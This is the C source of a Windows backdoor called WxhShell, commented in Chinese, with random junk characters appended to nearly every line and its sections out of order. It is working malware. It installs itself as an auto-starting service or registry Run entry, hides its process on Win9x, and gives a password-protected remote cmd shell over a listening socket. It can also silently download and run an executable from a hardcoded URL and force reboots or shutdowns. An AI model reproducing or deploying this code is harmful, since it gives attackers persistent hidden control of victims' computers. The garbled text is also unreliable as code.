  case 'd': { "Xj>dB1~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *n`8 -=  
    if(Boot(SHUTDOWN)) CA3`Ee+rD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qz }PTx  
    else { A&C?|M? M  
    closesocket(wsh); ?jn";:  
    ExitThread(0); N6h.zl&04  
    } *lyRy/POB  
    break; y<^hM6S?Z  
    } i)[~]D.EH8  
  // 获取shell S~\u]j^%y  
  case 's': { QuBaG<  
    CmdShell(wsh); ~-BIU Z;  
    closesocket(wsh); r1zuc:W 1  
    ExitThread(0); x?2y^3<5  
    break; (P 9$Ei0fv  
  } TB#oauJm,  
  // 退出 p;rT#R&6>  
  case 'x': { EoOwu-{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;|.IUXEgcF  
    CloseIt(wsh); V&>mD"~MP  
    break; , R $ZZ4  
    } 7Yly^  
  // 离开 /S`d?AV  
  case 'q': { .xg, j{%(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {3G2-$yb  
    closesocket(wsh); }O8#4-E_Ji  
    WSACleanup(); Os)}kkja  
    exit(1); D1~3 3;  
    break; a*?,wmzl  
        } =aRE  
  } 4fau 9bW  
  } |r/4 ({n  
\q:PU6q  
  // 提示信息 }tPI#[cfK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g({dD;  
} *!u a?  
  } ? q hme   
qj<_*  
  return; |^t8ct?x~  
} *_tJ;  
k1_ 3\JO"6  
// shell模块句柄 #3((f[  
int CmdShell(SOCKET sock) YojYb]y+ j  
{ S@vLh=65  
STARTUPINFO si; BCw0kq@  
ZeroMemory(&si,sizeof(si)); <'<{|$Pw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y0cB@pWp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -\~D6OA  
PROCESS_INFORMATION ProcessInfo; oWdvpvO  
char cmdline[]="cmd"; r^!P=BS{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Oxr?y8C~  
  return 0; )Tj\ym-Vl  
} J2Eb"y>/;  
Pt8 U0)i)  
// 自身启动模式 Hv<jf38  
int StartFromService(void) 5Y(f7,JX  
{ qY%{c-aMA  
typedef struct TkV*^j5  
{ e"6!0Py#*  
  DWORD ExitStatus; 16n8[U!  
  DWORD PebBaseAddress; [9xUMX^}  
  DWORD AffinityMask; EFS2 zU  
  DWORD BasePriority; 3NC-)S  
  ULONG UniqueProcessId; (f?&zQ!+  
  ULONG InheritedFromUniqueProcessId; L\y>WR%s  
}   PROCESS_BASIC_INFORMATION;  B!+`km5  
3bPF+(`J  
PROCNTQSIP NtQueryInformationProcess; $_NP4V8|z/  
.+Fh,bNYK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mLL?n)   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +)l6%QKcW  
oN " /w~  
  HANDLE             hProcess; tQrkRg(E:  
  PROCESS_BASIC_INFORMATION pbi; #F!'B|n  
tO]` I-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Irnfr\l.  
  if(NULL == hInst ) return 0; i-_ * 5%A  
_T[m YY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9?#L/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K\`>'C2_V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J\x.:=V  
WZJ}HHePr  
  if (!NtQueryInformationProcess) return 0; -VlXZj@u+  
isR|K9qf^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '{xPdN  
  if(!hProcess) return 0; $E]W U?U  
7iBN!"G0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p@+r&Mg%W"  
a'2^kds  
  CloseHandle(hProcess); $C8nPl' 7  
Wa+q[E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V_Oj?MMp n  
if(hProcess==NULL) return 0; >gFEA0-  
=g+Rk+jn  
HMODULE hMod; "iY=1F"\R  
char procName[255]; .#ASo!O5q  
unsigned long cbNeeded; hIv8A_>@`  
I,d5Y3mC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FOx&'dH %@  
O$,MdhyXC  
  CloseHandle(hProcess); E T 2@dY~  
{`M 'ruy.%  
if(strstr(procName,"services")) return 1; // 以服务启动 !*@sX7H  
xf]_@T;  
  return 0; // 注册表启动 a@&P\"k  
} 8Mf{6&F=  
-r!sY+Z>  
// 主模块 8Cw+<A*  
int StartWxhshell(LPSTR lpCmdLine) U%nLo[k  
{ u+Q<> >lU  
  SOCKET wsl; Wy`ve~y  
BOOL val=TRUE; :AM5EO  
  int port=0; BHa'`lCb  
  struct sockaddr_in door; -%eBip,'yl  
z<c%Xl\$%  
  if(wscfg.ws_autoins) Install(); qoXncdDHZ  
HM(S}>  
port=atoi(lpCmdLine); Gn8'h TM  
1||\3L/  
if(port<=0) port=wscfg.ws_port; mjtmN0^SR  
e7^B3FOx  
  WSADATA data; X|w[:[P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mWPA]g(  
l@OY8z-_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wfXm(RYM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n$O[yRMI[  
  door.sin_family = AF_INET; hPB^|#}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <//#0r*  
  door.sin_port = htons(port); d1rIU6  
3pF7} P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kZ>Xl- LV  
closesocket(wsl); $|V@3`0  
return 1; ?\.aq p1B  
} /:OSql5K*<  
Z.D O 2=+=  
  if(listen(wsl,2) == INVALID_SOCKET) { TppuEC>  
closesocket(wsl); fT.GYvt`  
return 1; ]'iOV-2^'  
} exHg<18WSe  
  Wxhshell(wsl); GZwz4=`  
  WSACleanup(); c?0.>^,B Q  
o'SZ sG  
return 0; AYP*J  
t.`&Q|a  
} 7(S66  
:K)7_]y  
// 以NT服务方式启动 \_w>I_=F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 34gC[G=  
{ 4Lb!Au|Y  
DWORD   status = 0; ~0 Ifg_G  
  DWORD   specificError = 0xfffffff; 4fyds< f  
8*iIJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UTLuzm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5u89?-UD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P`xQL  
  serviceStatus.dwWin32ExitCode     = 0; !|#W,9  
  serviceStatus.dwServiceSpecificExitCode = 0; ?~p]Ey}~9  
  serviceStatus.dwCheckPoint       = 0; Lq6R_ud p  
  serviceStatus.dwWaitHint       = 0;  UqwU3  
CVy\']  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nde_%d$  
  if (hServiceStatusHandle==0) return; W Y]   
+\_c*'K>  
status = GetLastError(); 6B=: P3Y  
  if (status!=NO_ERROR) h7"c_=w+  
{ -/'_XR@1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Bgvv6(i  
    serviceStatus.dwCheckPoint       = 0; L HW\A8  
    serviceStatus.dwWaitHint       = 0; Qu;cl/&  
    serviceStatus.dwWin32ExitCode     = status; 'OTQiI^t=  
    serviceStatus.dwServiceSpecificExitCode = specificError; o#~Lb9`@U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8%ea(|Wjg  
    return; 9-3, DxZ}  
  } =G,wR'M  
<9bfX 91  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y<5RV>"Vg  
  serviceStatus.dwCheckPoint       = 0; $~+(si2  
  serviceStatus.dwWaitHint       = 0; [(rT,31cW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `]7==c #Y  
} ?bH&F  
m0Geq.  
// 处理NT服务事件,比如:启动、停止 }nUq=@ej  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bpx ^  
{ Db`SNk=  
switch(fdwControl) dtT: ,&  
{ @y!oKF  
case SERVICE_CONTROL_STOP: -Is;cbfLj/  
  serviceStatus.dwWin32ExitCode = 0; j"F?^0aR,Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I?&/J4o:  
  serviceStatus.dwCheckPoint   = 0; 8 v}B-cS  
  serviceStatus.dwWaitHint     = 0; [. Db56  
  { {)jTq??  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YT`,f*t  
  } {Z,_/@}N  
  return; Fc6o6GyL|o  
case SERVICE_CONTROL_PAUSE: S6CI+W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -^aJ}[uaI  
  break; [o"<DP6w  
case SERVICE_CONTROL_CONTINUE: ?:$\ t?e^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; , UsY0YC  
  break; Fd86P.Df  
case SERVICE_CONTROL_INTERROGATE: ]?6Pt:N2  
  break; &.l^>#  
}; hGy[L3 {  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1.tAl6]  
} F1)5"7f  
,r8#-~A6,A  
// 标准应用程序主函数 "qrde4O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S"4eS,5L|  
{ @xXVJWEU:  
nZ'-3  
// 获取操作系统版本 ?XbM  
OsIsNt=GetOsVer(); =%ok:+D]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z ub"Ap3  
b} 0G~oLP  
  // 从命令行安装 rez )$  
  if(strpbrk(lpCmdLine,"iI")) Install(); V1&qgAy~  
L</k+a?H!  
  // 下载执行文件 RY .@_{  
if(wscfg.ws_downexe) { .He}f,!f<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^6On^k[|fw  
  WinExec(wscfg.ws_filenam,SW_HIDE); l0 8vF$k|d  
} 02_+{vk!  
mCyn:+  
if(!OsIsNt) { D3B]  
// 如果时win9x,隐藏进程并且设置为注册表启动 W#P`Y< u$  
HideProc(); 7 x'2  
StartWxhshell(lpCmdLine); KdBpfPny@  
} >qz#&  
else Y b=77(Q V  
  if(StartFromService()) 3=Q:{  
  // 以服务方式启动 =%B5TBG  
  StartServiceCtrlDispatcher(DispatchTable); 6_s(Kx>j  
else |M&4[ka}  
  // 普通方式启动 zM,r0Z  
  StartWxhshell(lpCmdLine); C-@[=  
.VCF[AleS  
return 0; D 5bPF~q  
} )bWopc  
 l*?_@  
Z]e`bfNnI  
+Bf?35LP  
=========================================== s&hr$`V4  
lA pZC6Iwk  
P8(hHuO  
YF)]B|I  
mqj-/DN6*  
~Pj q3etk  
" (3"N~\9m  
RfOJUz  
#include <stdio.h> 6O <UW.  
#include <string.h> 1<Sg@  
#include <windows.h> f14^VTzP/#  
#include <winsock2.h> RA!q)/ +  
#include <winsvc.h> /5<=m:  
#include <urlmon.h> 8t3m$<7  
egvb#:zW?  
#pragma comment (lib, "Ws2_32.lib") R RE8|%p;B  
#pragma comment (lib, "urlmon.lib") Sbl=U  
n)~*BpL3  
#define MAX_USER   100 // 最大客户端连接数 u0GHcpOm  
#define BUF_SOCK   200 // sock buffer `BQv;NtP  
#define KEY_BUFF   255 // 输入 buffer Z\$M)e8n  
-V4%f{9T3  
#define REBOOT     0   // 重启 QgI[#d{  
#define SHUTDOWN   1   // 关机 $~S~pvT  
~nTj't2R  
#define DEF_PORT   5000 // 监听端口 kU+|QBA@  
L R\LC6kM  
#define REG_LEN     16   // 注册表键长度 drMMf[  
#define SVC_LEN     80   // NT服务名长度 H %c6I  
{#:31)P  
// 从dll定义API M.K^W`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XC5/$3'M&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AN:yL a!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J\Hv42  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j.ucv  
qi B~  
// wxhshell配置信息 D#G%WT/"  
struct WSCFG { >{N}UNZ$}  
  int ws_port;         // 监听端口 CxTmW5l  
  char ws_passstr[REG_LEN]; // 口令 oNtoqYwH  
  int ws_autoins;       // 安装标记, 1=yes 0=no fd4C8>*7G  
  char ws_regname[REG_LEN]; // 注册表键名 #1/~eIEY  
  char ws_svcname[REG_LEN]; // 服务名 V^,eW!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gfs;?vP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zGFD71=#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i84!x%|P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MoE&)~0u&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tEL9hZzI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l2LLM{B  
p]%di8&;N  
}; =C2sl;7~*  
K Ax=C}9  
// default Wxhshell configuration vjq2(I)u  
struct WSCFG wscfg={DEF_PORT, )Xh}N  
    "xuhuanlingzhe", o]~\u{o#.  
    1, d)e mTXB(  
    "Wxhshell", `0N7Gc  
    "Wxhshell", g"Y _!)X  
            "WxhShell Service", <(q(5jG  
    "Wrsky Windows CmdShell Service",  ]'`E  
    "Please Input Your Password: ", m/1FVC@*  
  1, b?l>vUgAg  
  "http://www.wrsky.com/wxhshell.exe", GPGE7X'  
  "Wxhshell.exe" 0muC4  
    }; v!8=B21  
t&xoi7!$  
// 消息定义模块 8 ECX[fw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X3\PVsH$K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6,A|9UX=`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d?8OY  
char *msg_ws_ext="\n\rExit."; E`UkL*Q  
char *msg_ws_end="\n\rQuit."; H; NV?CD  
char *msg_ws_boot="\n\rReboot..."; ~x^y5[5{  
char *msg_ws_poff="\n\rShutdown..."; bAPMD  
char *msg_ws_down="\n\rSave to "; G;3%k.{  
7-``J#9=  
char *msg_ws_err="\n\rErr!"; 4 kjfYf@A  
char *msg_ws_ok="\n\rOK!";  ,\s`T O  
Z-Uu/GjB  
char ExeFile[MAX_PATH]; BYB4- ,  
int nUser = 0; $G-<kC}8:  
HANDLE handles[MAX_USER]; KGYbPty}  
int OsIsNt; ?1D!%jfi  
B S*79heY  
SERVICE_STATUS       serviceStatus; $ ]s^M=8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >`\.i,X .D  
zak\%yY`  
// 函数声明  yf:Vhr  
int Install(void); z_!IA ] v  
int Uninstall(void); ? `p/jA  
int DownloadFile(char *sURL, SOCKET wsh); o{G*7V@H  
int Boot(int flag); A$=ny6  
void HideProc(void); `9co7[Z  
int GetOsVer(void); WM'!|lg  
int Wxhshell(SOCKET wsl); d ItfR'$  
void TalkWithClient(void *cs); orFwy!  
int CmdShell(SOCKET sock); &KjMw:l  
int StartFromService(void); vN'+5*Cgy6  
int StartWxhshell(LPSTR lpCmdLine); !fzS' pkk.  
!+%gJiu:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [UA*We 1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,*J@ic7"  
s/tLY/U/  
// 数据结构和表定义 >$JE!.p%o  
SERVICE_TABLE_ENTRY DispatchTable[] = C< c6Ub  
{ y>EW,%leC  
{wscfg.ws_svcname, NTServiceMain}, Vr EGR$  
{NULL, NULL} w$:\!FImx  
}; [kg?q5F)  
!0W(f.A{K  
// 自我安装 `NN P<z+\  
int Install(void) 8Yh'/,o=L#  
{ ~.: { Ik]  
  char svExeFile[MAX_PATH]; :C*}Yg  
  HKEY key; ]E-/}Ysz  
  strcpy(svExeFile,ExeFile); ^OKm (  
f~NS{gL*  
// 如果是win9x系统,修改注册表设为自启动 J8emz8J  
if(!OsIsNt) { KL'1)G"OH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o8R_ Ojh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); itYoR-XJ  
  RegCloseKey(key); Voo'ZeZa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nQ\`]_C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SZF 8InyF  
  RegCloseKey(key); ^2~ZOP$A  
  return 0; p AOKy  
    } YB"gLv?  
  } TcaW'&(K  
} 6Qkjr</  
else { ,`bW (V  
},8|9z#pyB  
// 如果是NT以上系统,安装为系统服务 NftnbsTmy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "z{/*uM2<  
if (schSCManager!=0) @P7'MiP]K  
{ /x??J4r0  
  SC_HANDLE schService = CreateService I _KHQ&Z*  
  ( FBXktSg  
  schSCManager, )/jDt dI  
  wscfg.ws_svcname, gy}3ZA*F  
  wscfg.ws_svcdisp, K=N&kda   
  SERVICE_ALL_ACCESS, dHDtY$/_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3gUY13C}:p  
  SERVICE_AUTO_START, V *@q< rQ  
  SERVICE_ERROR_NORMAL, ^*}D*=>\  
  svExeFile, 6\.g,>   
  NULL, kH eD(Ea  
  NULL, j2D!=PK;  
  NULL, f6Y?),`  
  NULL, sE?%;uBb  
  NULL #&'S-XE+  
  ); tg\Nm7I  
  if (schService!=0) %unn{92)  
  { lwQ!sH[M  
  CloseServiceHandle(schService); zDdo RK@  
  CloseServiceHandle(schSCManager); t{] 6GlW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d~aTjf  
  strcat(svExeFile,wscfg.ws_svcname); ArtY;.cg%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {'{}@CuA2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mW"e  
  RegCloseKey(key); }!iopu  
  return 0; MLV]+H[mt  
    } B&_:20^y~  
  } \^(#b,k#  
  CloseServiceHandle(schSCManager); zeMV_rW~  
} XZOBK^,5^B  
} =78y* `L  
.4a|^ vT  
return 1; jA,y.(mR  
} m~+.vk  
r ~{nlLO}  
// 自我卸载 -U2Su|:\N8  
int Uninstall(void) (]q ([e  
{ <#:iltO  
  HKEY key; oO tjG3B({  
%`bs<ZWT  
if(!OsIsNt) { %Ik5|\ob?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JY c:@\   
  RegDeleteValue(key,wscfg.ws_regname); s]m]b#1!r  
  RegCloseKey(key); %72# tY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rPB Ju0D"  
  RegDeleteValue(key,wscfg.ws_regname); t%mi#Gh(  
  RegCloseKey(key); MEI&]qI  
  return 0; RhJ3>DL  
  } &3iI\s[  
} \*MZ 1Q*x  
} L"YQji!  
else { <W!T+sMQj  
>7WT4l)7!b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vVBWhY]  
if (schSCManager!=0) O.dZ3!!+  
{ !*c%Dj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !S<p"   
  if (schService!=0) SVa^:\"$[  
  { glch06  
  if(DeleteService(schService)!=0) { ?.,F3@W "  
  CloseServiceHandle(schService); Ge)G.>c  
  CloseServiceHandle(schSCManager); (1=@.srAzK  
  return 0; 3SY1>}(Y  
  } {%wrx'<  
  CloseServiceHandle(schService); #`@)lU+/  
  } 0Y0z7A:  
  CloseServiceHandle(schSCManager); @u+LF]MY  
} m<n+1  
} s3Bo'hGxG  
hzAuj0-A  
return 1; x<t ?Yc9  
} 67/@J)z0%  
PdKcDKJ  
// 从指定url下载文件 */{y%  
int DownloadFile(char *sURL, SOCKET wsh) c:=HN-*vQ  
{ R UCUEo63  
  HRESULT hr; =?CIC%6m  
char seps[]= "/"; .P8m%$'N  
char *token; k'X"jon  
char *file; Oh}52=  
char myURL[MAX_PATH]; }G(#jOYk  
char myFILE[MAX_PATH]; `$"{-  
c CjN8<  
strcpy(myURL,sURL); =8vwaJ  
  token=strtok(myURL,seps); O4nA ?bA  
  while(token!=NULL) fm#7}Y  
  { D8k >f ]  
    file=token; uaD+G:{ [  
  token=strtok(NULL,seps); N8T.Ye N  
  } s|WcJV  
QfjoHeG7  
GetCurrentDirectory(MAX_PATH,myFILE); ]@_|A, ]  
strcat(myFILE, "\\"); hAgrs[OFj  
strcat(myFILE, file); Z{u]qI{l  
  send(wsh,myFILE,strlen(myFILE),0); `m V(:  
send(wsh,"...",3,0); bz:En'2>F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DFwiBB6  
  if(hr==S_OK) oVl:g:K40  
return 0; b 2\J<Nw  
else eLH=PDdO  
return 1; A _7I0^  
G=e'H-  
} "Ml#,kU<T  
,H|K3nh  
// 系统电源模块 pw))9~XU  
int Boot(int flag) s&%r?  
{ k-4z2qB  
  HANDLE hToken; Yi-,Pb?   
  TOKEN_PRIVILEGES tkp; 87pu\(,'  
7iy2V;}  
  if(OsIsNt) { Us[F@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _or_Vw!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g6gwNC:aF  
    tkp.PrivilegeCount = 1; KfK5e{yT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t.!?"kP"c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c*w0Jz>@.7  
if(flag==REBOOT) { Nn0j}ZI)1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uv$utu>< *  
  return 0; Vf(..8  
} a U<+ `  
else { 8VpmcGvc3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;5|d[r}k3  
  return 0; p;%5o0{1  
} e[Z-&'  
  } D3tcwjXoW_  
  else { Qp@}v7Due  
if(flag==REBOOT) { ^c}kVQ\g3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  >YdLB@  
  return 0; [pt U}  
} [$]-W$j+  
else { D7IhNWrgj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B_@p@6z  
  return 0; \^cXmyQ<%  
} !(S.7#-r  
} Bi/E{k,  
tH vP0RxM  
return 1; |@B|o-  
} V2yX;u  
/+<G@+(  
// win9x进程隐藏模块 6 G ,cc  
void HideProc(void) zo ]-,u  
{ V\c`O  
x=W5e ^0?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1Si$Q  
  if ( hKernel != NULL ) -LFk7a  
  { Yi`DRkp]3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); do.XMdit  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |*~SR.[`  
    FreeLibrary(hKernel); (76tYt~I=  
  } kK&AK2  
i\>?b)a>  
return; U @}r?!)"f  
} |41~U\  
@E> rqI;`  
// 获取操作系统版本 }?CKE<#%  
int GetOsVer(void) YvUV9qps~  
{ -|:mRAe  
  OSVERSIONINFO winfo; b-#oE{(\'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $}H,g}@0  
  GetVersionEx(&winfo); nbv}Q-C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z wn#E  
  return 1; :@Ml-ZE  
  else JGYJ;j{E]  
  return 0; .| :R#VW  
} 4`sW_ ks  
`Gg,oCQg  
// 客户端句柄模块 Eb&=$4c=  
int Wxhshell(SOCKET wsl) KO))2GET  
{ e[QEOx/-h2  
  SOCKET wsh; HSACaTVK  
  struct sockaddr_in client; /W{^hVkvC  
  DWORD myID; w,1*dn  
XCGK&O GI  
  while(nUser<MAX_USER) 0Fs2* FS  
{ "JgwL_2  
  int nSize=sizeof(client); _Q*,~ z~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OL.{lKJ3DV  
  if(wsh==INVALID_SOCKET) return 1; cVaGgP}\  
0c&DSL}6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gl4f:`  
if(handles[nUser]==0) <. V*]g/;  
  closesocket(wsh); ~T=a]V  
else \O*W/9 +  
  nUser++; 7#P Q1UWl  
  } (ul_bA+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %y+v0.aWH+  
bc6|]kB:  
  return 0; &'m&'wDt:  
} \XbCJJP  
ka$la;e3  
// 关闭 socket 1/=6s5vS}  
void CloseIt(SOCKET wsh) e=ry_@7  
{ m*14n_m'  
closesocket(wsh); o#-^Lg&  
nUser--; ^HWa owy=  
ExitThread(0); .p78 \T  
} NC"X{$o2  
,H] S-uK~  
// 客户端请求句柄 ;(Z9.  
void TalkWithClient(void *cs) Xz'o<S  
{ p-6T,')  
G[zVGqk  
  SOCKET wsh=(SOCKET)cs; ^= qL[S6/M  
  char pwd[SVC_LEN]; FD8d-G  
  char cmd[KEY_BUFF]; "i\^GK=  
char chr[1]; :>3?|Z"Aj  
int i,j; ZkF6AF   
?V =#x.9  
  while (nUser < MAX_USER) { we33GMxHl`  
u"U7aYGkY  
if(wscfg.ws_passstr) { cE*d(g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'Z6x\p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !wo  
  //ZeroMemory(pwd,KEY_BUFF); G9~ 4?v6:  
      i=0; /!pJ"@  
  while(i<SVC_LEN) { \[]4rXZN0  
N}'2GBqfU4  
  // 设置超时 I$ ?.9&.&  
  fd_set FdRead; =<r1sqf  
  struct timeval TimeOut; XJA];9^  
  FD_ZERO(&FdRead); tf>"fU\P  
  FD_SET(wsh,&FdRead); 55zy]|F"  
  TimeOut.tv_sec=8; ? RI D4xu!  
  TimeOut.tv_usec=0; Ime"}*9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PebyH"M(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~Vf A  
w u0q.]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rouaT  
  pwd=chr[0]; 1-s G`%  
  if(chr[0]==0xd || chr[0]==0xa) { O-n JuZJgX  
  pwd=0; !{b4+!@p  
  break; G^le91$  
  } G54`{V4&s  
  i++; |+Tq[5&R  
    } AK&=/[U>  
6P0 2=  
  // 如果是非法用户,关闭 socket PeJIa %iE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !WTL:dk  
} && b;Wr  
:c9 H2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X?'pcYSL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]3L/8]:  
M AL;XcRR  
while(1) { fN6n2*wr(  
"Ve9\$_s  
  ZeroMemory(cmd,KEY_BUFF); $-paYQ4  
[=^Wj`;  
      // 自动支持客户端 telnet标准   Yb%#\.M/y  
  j=0; vU9:` @beu  
  while(j<KEY_BUFF) { f7&9IW`7F^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U.N?cKv  
  cmd[j]=chr[0]; x !n8Wx  
  if(chr[0]==0xa || chr[0]==0xd) { )Cd.1X8  
  cmd[j]=0; ur[^/lxx0  
  break; $#E!/vVwD7  
  } N{uVh;_  
  j++; plM:7#eA  
    } ,OFNV|S$  
yV*4|EkvW  
  // 下载文件 m"wP]OQH*+  
  if(strstr(cmd,"http://")) { ^p3W}D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]#vi/6\J  
  if(DownloadFile(cmd,wsh)) `7R-2 w<b?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b8glZb*$  
  else gKtgW&PYm  
